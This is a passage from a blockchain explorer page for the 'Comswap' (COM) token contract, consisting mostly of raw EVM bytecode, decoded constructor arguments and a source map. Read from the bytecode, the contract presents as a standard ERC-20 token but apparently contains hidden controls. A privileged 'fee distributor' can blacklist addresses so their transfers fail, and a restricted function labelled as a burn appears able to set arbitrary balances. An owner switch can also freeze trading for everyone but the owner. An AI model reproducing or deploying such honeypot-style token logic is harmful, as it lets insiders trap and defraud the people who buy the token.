681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461127d9190611c9f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112e19190611c4d565b60405180910390a3505b611347565b60011515600860009054906101000a900460ff16151514611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d90611bcd565b60405180910390fd5b5b611352838383611686565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561148b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148290611b8d565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990611aed565b60405180910390fd5b816009546115209190611cf5565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546115759190611cf5565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115da9190611c4d565b60405180910390a3505050565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561167d576000811461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390611bcd565b60405180910390fd5b5b5050565b505050565b505050565b60008135905061169a81612191565b92915050565b60008083601f8401126116b257600080fd5b8235905067ffffffffffffffff8111156116cb57600080fd5b6020830191508360208202830111156116e357600080fd5b9250929050565b6000813590506116f9816121a8565b92915050565b60008135905061170e816121bf565b92915050565b60006020828403121561172657600080fd5b60006117348482850161168b565b91505092915050565b6000806040838503121561175057600080fd5b600061175e8582860161168b565b925050602061176f8582860161168b565b9150509250929050565b60008060006060848603121561178e57600080fd5b600061179c8682870161168b565b93505060206117ad8682870161168b565b92505060406117be868287016116ff565b9150509250925092565b600080604083850312156117db57600080fd5b60006117e98582860161168b565b92505060206117fa858286016116ff565b9150509250929050565b60008060006040848603121561181957600080fd5b600084013567ffffffffffffffff81111561183357600080fd5b61183f868287016116a0565b93509350506020611852868287016116ea565b9150509250925092565b61186581611d29565b82525050565b61187481611d3b565b82525050565b600061188582611c83565b61188f8185611c8e565b935061189f818560208601611d7e565b6118a881611e8a565b840191505092915050565b60006118c0602383611c8e565b91506118cb82611e9b565b604082019050919050565b60006118e3602283611c8e565b91506118ee82611eea565b604082019050919050565b6000611906602283611c8e565b915061191182611f39565b604082019050919050565b6000611929601d83611c8e565b915061193482611f88565b602082019050919050565b600061194c602683611c8e565b915061195782611fb1565b604082019050919050565b600061196f602083611c8e565b915061197a82612000565b602082019050919050565b6000611992602183611c8e565b915061199d82612029565b604082019050919050565b60006119b5602583611c8e565b91506119c082612078565b604082019050919050565b60006119d8600083611c8e565b91506119e3826120c7565b600082019050919050565b60006119fb602483611c8e565b9150611a06826120ca565b604082019050919050565b6000611a1e601d83611c8e565b9150611a2982612119565b602082019050919050565b6000611a41602583611c8e565b9150611a4c82612142565b604082019050919050565b611a6081611d67565b82525050565b611a6f81611d71565b82525050565b6000602082019050611a8a600083018461185c565b92915050565b6000602082019050611aa5600083018461186b565b92915050565b60006020820190508181036000830152611ac5818461187a565b905092915050565b60006020820190508181036000830152611ae6816118b3565b9050919050565b60006020820190508181036000830152611b06816118d6565b9050919050565b60006020820190508181036000830152611b26816118f9565b9050919050565b60006020820190508181036000830152611b468161191c565b9050919050565b60006020820190508181036000830152611b668161193f565b9050919050565b60006020820190508181036000830152611b8681611962565b9050919050565b60006020820190508181036000830152611ba681611985565b9050919050565b60006020820190508181036000830152611bc6816119a8565b9050919050565b60006020820190508181036000830152611be6816119cb565b9050919050565b60006020820190508181036000830152611c06816119ee565b9050919050565b60006020820190508181036000830152611c2681611a11565b9050919050565b60006020820190508181036000830152611c4681611a34565b9050919050565b6000602082019050611c626000830184611a57565b92915050565b6000602082019050611c7d6000830184611a66565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611caa82611d67565b9150611cb583611d67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611cea57611ce9611e2c565b5b828201905092915050565b6000611d0082611d67565b9150611d0b83611d67565b925082821015611d1e57611d1d611e2c565b5b828203905092915050565b6000611d3482611d47565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d9c578082015181840152602081019050611d81565b83811115611dab576000848401525b50505050565b60006002820490506001821680611dc957607f821691505b60208210811415611ddd57611ddc611e5b565b5b50919050565b6000611dee82611d67565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e2157611e20611e2c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61219a81611d29565b81146121a557600080fd5b50565b6121b181611d3b565b81146121bc57600080fd5b50565b6121c881611d67565b81146121d357600080fd5b5056fea2646970667358221220619a178bf73e5e8a62b5c8297c53178571345a0731acf2cd26bdf258fd7a8bc064736f6c63430008030033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000001406f4000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000007436f6d73776170000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003434f4d0000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a25780639dc29fac116100715780639dc29fac146102d1578063a457c2d7146102ed578063a9059cbb1461031d578063dd62ed3e1461034d578063e074839e1461037d57610116565b806370a082311461025b578063715018a61461028b5780638da5cb5b1461029557806395d89b41146102b357610116565b806318160ddd116100e957806318160ddd146101b557806323b872dd146101d3578063293230b814610203578063313ce5671461020d578063395093511461022b57610116565b806306fdde031461011b578063095ea7b3146101395780631128d531146101695780631186b8d814610199575b600080fd5b610123610399565b6040516101309190611aab565b60405180910390f35b610153600480360381019061014e91906117c8565b61042b565b6040516101609190611a90565b60405180910390f35b610183600480360381019061017e9190611714565b61044e565b6040516101909190611a90565b60405180910390f35b6101b360048036038101906101ae9190611804565b6104a4565b005b6101bd6105ff565b6040516101ca9190611c4d565b60405180910390f35b6101ed60048036038101906101e89190611779565b610609565b6040516101fa9190611a90565b60405180910390f35b61020b610638565b005b61021561070e565b6040516102229190611c68565b60405180910390f35b610245600480360381019061024091906117c8565b610717565b6040516102529190611a90565b60405180910390f35b61027560048036038101906102709190611714565b6107c1565b6040516102829190611c4d565b60405180910390f35b61029361080a565b005b61029d610892565b6040516102aa9190611a75565b60405180910390f35b6102bb6108bb565b6040516102c89190611aab565b60405180910390f35b6102eb60048036038101906102e691906117c8565b61094d565b005b610307600480360381019061030291906117c8565b6109eb565b6040516103149190611a90565b60405180910390f35b610337600480360381019061033291906117c8565b610ad5565b6040516103449190611a90565b60405180910390f35b6103676004803603810190610362919061173d565b610af8565b6040516103749190611c4d565b60405180910390f35b61039760048036038101906103929190611714565b610b7f565b005b6060600680546103a890611db1565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490611db1565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600080610436610c9a565b9050610443818585610ca2565b600191505092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052b90611c0d565b60405180910390fd5b60005b838390508110156105f95781600a6000868685818110610580577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906105959190611714565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105f190611de3565b915050610537565b50505050565b6000600454905090565b600080610614610c9a565b9050610621858285610e6d565b61062c858585610ef9565b60019150509392505050565b610640610c9a565b73ffffffffffffffffffffffffffffffffffffffff1661065e610892565b73ffffffffffffffffffffffffffffffffffffffff16146106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab90611b6d565b60405180910390fd5b60001515600860009054906101000a900460ff16151514156106f0576001600860006101000a81548160ff02191690831515021790555061070c565b6000600860006101000a81548160ff0219169083151502179055505b565b60006009905090565b600080610722610c9a565b90506107b6818585600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107b19190611c9f565b610ca2565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610812610c9a565b73ffffffffffffffffffffffffffffffffffffffff16610830610892565b73ffffffffffffffffffffffffffffffffffffffff1614610886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087d90611b6d565b60405180910390fd5b6108906000611357565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546108ca90611db1565b80601f01602080910402602001604051908101604052809291908181526020018280546108f690611db1565b80156109435780601f1061091857610100808354040283529160200191610943565b820191906000526020600020905b81548152906001019060200180831161092657829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d490611c0d565b60405180910390fd5b6109e7828261141b565b5050565b6000806109f6610c9a565b90506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610abc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab390611c2d565b60405180910390fd5b610ac98286868403610ca2565b60019250505092915050565b600080610ae0610c9a565b9050610aed818585610ef9565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b87610c9a565b73ffffffffffffffffffffffffffffffffffffffff16610ba5610892565b73ffffffffffffffffffffffffffffffffffffffff1614610bfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf290611b6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990611bed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7990611b0d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e609190611c4d565b60405180910390a3505050565b6000610e798484610af8565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ef35781811015610ee5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edc90611b2d565b60405180910390fd5b610ef28484848403610ca2565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6090611bad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd090611acd565b60405180910390fd5b60011515600860009054906101000a900460ff161515148061102d5750610ffe610892565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061106a575061103b610892565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156112f0576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156112eb576110c183826115e7565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111565760008111611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c90611bcd565b60405180910390fd5b5b611161838383611681565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156111e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111df90611b4d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461127d9190611c9f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112e19190611c4d565b60405180910390a3505b611347565b60011515600860009054906101000a900460ff16151514611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d90611bcd565b60405180910390fd5b5b611352838383611686565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561148b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148290611b8d565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990611aed565b60405180910390fd5b816009546115209190611cf5565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546115759190611cf5565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115da9190611c4d565b60405180910390a3505050565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561167d576000811461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390611bcd565b60405180910390fd5b5b5050565b505050565b505050565b60008135905061169a81612191565b92915050565b60008083601f8401126116b257600080fd5b8235905067ffffffffffffffff8111156116cb57600080fd5b6020830191508360208202830111156116e357600080fd5b9250929050565b6000813590506116f9816121a8565b92915050565b60008135905061170e816121bf565b92915050565b60006020828403121561172657600080fd5b60006117348482850161168b565b91505092915050565b6000806040838503121561175057600080fd5b600061175e8582860161168b565b925050602061176f8582860161168b565b9150509250929050565b60008060006060848603121561178e57600080fd5b600061179c8682870161168b565b93505060206117ad8682870161168b565b92505060406117be868287016116ff565b9150509250925092565b600080604083850312156117db57600080fd5b60006117e98582860161168b565b92505060206117fa858286016116ff565b9150509250929050565b60008060006040848603121561181957600080fd5b600084013567ffffffffffffffff81111561183357600080fd5b61183f868287016116a0565b93509350506020611852868287016116ea565b9150509250925092565b61186581611d29565b82525050565b61187481611d3b565b82525050565b600061188582611c83565b61188f8185611c8e565b935061189f818560208601611d7e565b6118a881611e8a565b840191505092915050565b60006118c0602383611c8e565b91506118cb82611e9b565b604082019050919050565b60006118e3602283611c8e565b91506118ee82611eea565b604082019050919050565b6000611906602283611c8e565b915061191182611f39565b604082019050919050565b6000611929601d83611c8e565b915061193482611f88565b602082019050919050565b600061194c602683611c8e565b915061195782611fb1565b604082019050919050565b600061196f602083611c8e565b915061197a82612000565b602082019050919050565b6000611992602183611c8e565b915061199d82612029565b604082019050919050565b60006119b5602583611c8e565b91506119c082612078565b604082019050919050565b60006119d8600083611c8e565b91506119e3826120c7565b600082019050919050565b60006119fb602483611c8e565b9150611a06826120ca565b604082019050919050565b6000611a1e601d83611c8e565b9150611a2982612119565b602082019050919050565b6000611a41602583611c8e565b9150611a4c82612142565b604082019050919050565b611a6081611d67565b82525050565b611a6f81611d71565b82525050565b6000602082019050611a8a600083018461185c565b92915050565b6000602082019050611aa5600083018461186b565b92915050565b60006020820190508181036000830152611ac5818461187a565b905092915050565b60006020820190508181036000830152611ae6816118b3565b9050919050565b60006020820190508181036000830152611b06816118d6565b9050919050565b60006020820190508181036000830152611b26816118f9565b9050919050565b60006020820190508181036000830152611b468161191c565b9050919050565b60006020820190508181036000830152611b668161193f565b9050919050565b60006020820190508181036000830152611b8681611962565b9050919050565b60006020820190508181036000830152611ba681611985565b9050919050565b60006020820190508181036000830152611bc6816119a8565b9050919050565b60006020820190508181036000830152611be6816119cb565b9050919050565b60006020820190508181036000830152611c06816119ee565b9050919050565b60006020820190508181036000830152611c2681611a11565b9050919050565b60006020820190508181036000830152611c4681611a34565b9050919050565b6000602082019050611c626000830184611a57565b92915050565b6000602082019050611c7d6000830184611a66565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611caa82611d67565b9150611cb583611d67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611cea57611ce9611e2c565b5b828201905092915050565b6000611d0082611d67565b9150611d0b83611d67565b925082821015611d1e57611d1d611e2c565b5b828203905092915050565b6000611d3482611d47565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d9c578082015181840152602081019050611d81565b83811115611dab576000848401525b50505050565b60006002820490506001821680611dc957607f821691505b60208210811415611ddd57611ddc611e5b565b5b50919050565b6000611dee82611d67565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e2157611e20611e2c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61219a81611d29565b81146121a557600080fd5b50565b6121b181611d3b565b81146121bc57600080fd5b50565b6121c881611d67565b81146121d357600080fd5b5056fea2646970667358221220619a178bf73e5e8a62b5c8297c53178571345a0731acf2cd26bdf258fd7a8bc064736f6c63430008030033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000001406f4000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000007436f6d73776170000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003434f4d0000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): Comswap
Arg [1] : symbol (string): COM
Arg [2] : totalSupply (uint256): 21000000
Arg [3] : initTransfer (bool): True

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000001406f40
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [5] : 436f6d7377617000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 434f4d0000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

415:353:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1099:100:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2030:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;980:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4085:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1419:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2239:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;818:154;;;:::i;:::-;;1319:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2542:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1535:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1808:103:6;;;:::i;:::-;;719:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1207:104:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;652:113:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2790:438:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1670:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1871:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1312:145:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1099:100:2;1153:13;1186:5;1179:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1099:100;:::o;2030:201::-;2113:4;2130:13;2146:12;:10;:12::i;:::-;2130:28;;2169:32;2178:5;2185:7;2194:6;2169:8;:32::i;:::-;2219:4;2212:11;;;2030:201;;;;:::o;980:111::-;1045:4;1069:5;:14;1075:7;1069:14;;;;;;;;;;;;;;;;;;;;;;;;;1062:21;;980:111;;;:::o;4085:197::-;1184:10:6;1168:26;;:12;;;;;;;;;;;:26;;;1160:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4183:9:2::1;4178:97;4202:8;;:15;;4198:1;:19;4178:97;;;4260:3;4239:5;:18;4245:8;;4254:1;4245:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4239:18;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;4219:3;;;;;:::i;:::-;;;;4178:97;;;;4085:197:::0;;;:::o;1419:108::-;1480:7;1507:12;;1500:19;;1419:108;:::o;2239:295::-;2370:4;2387:15;2405:12;:10;:12::i;:::-;2387:30;;2428:38;2444:4;2450:7;2459:6;2428:15;:38::i;:::-;2477:27;2487:4;2493:2;2497:6;2477:9;:27::i;:::-;2522:4;2515:11;;;2239:295;;;;;:::o;818:154::-;950:12:6;:10;:12::i;:::-;939:23;;:7;:5;:7::i;:::-;:23;;;931:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;891:5:2::1;876:20;;:11;;;;;;;;;;;:20;;;872:93;;;922:4;908:11;;:18;;;;;;;;;;;;;;;;;;872:93;;;958:5;944:11;;:19;;;;;;;;;;;;;;;;;;872:93;818:154::o:0;1319:92::-;1377:5;1402:1;1395:8;;1319:92;:::o;2542:240::-;2630:4;2647:13;2663:12;:10;:12::i;:::-;2647:28;;2686:66;2695:5;2702:7;2741:10;2711:11;:18;2723:5;2711:18;;;;;;;;;;;;;;;:27;2730:7;2711:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;2686:8;:66::i;:::-;2770:4;2763:11;;;2542:240;;;;:::o;1535:127::-;1609:7;1636:9;:18;1646:7;1636:18;;;;;;;;;;;;;;;;1629:25;;1535:127;;;:::o;1808:103:6:-;950:12;:10;:12::i;:::-;939:23;;:7;:5;:7::i;:::-;:23;;;931:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1873:30:::1;1900:1;1873:18;:30::i;:::-;1808:103::o:0;719:87::-;765:7;792:6;;;;;;;;;;;785:13;;719:87;:::o;1207:104:2:-;1263:13;1296:7;1289:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1207:104;:::o;652:113:0:-;1184:10:6;1168:26;;:12;;;;;;;;;;;:26;;;1160:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;735:22:0::1;741:7;750:6;735:5;:22::i;:::-;652:113:::0;;:::o;2790:438:2:-;2883:4;2900:13;2916:12;:10;:12::i;:::-;2900:28;;2939:24;2966:11;:18;2978:5;2966:18;;;;;;;;;;;;;;;:27;2985:7;2966:27;;;;;;;;;;;;;;;;2939:54;;3032:15;3012:16;:35;;3004:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;3125:60;3134:5;3141:7;3169:15;3150:16;:34;3125:8;:60::i;:::-;3216:4;3209:11;;;;2790:438;;;;:::o;1670:193::-;1749:4;1766:13;1782:12;:10;:12::i;:::-;1766:28;;1805;1815:5;1822:2;1826:6;1805:9;:28::i;:::-;1851:4;1844:11;;;1670:193;;;;:::o;1871:151::-;1960:7;1987:11;:18;1999:5;1987:18;;;;;;;;;;;;;;;: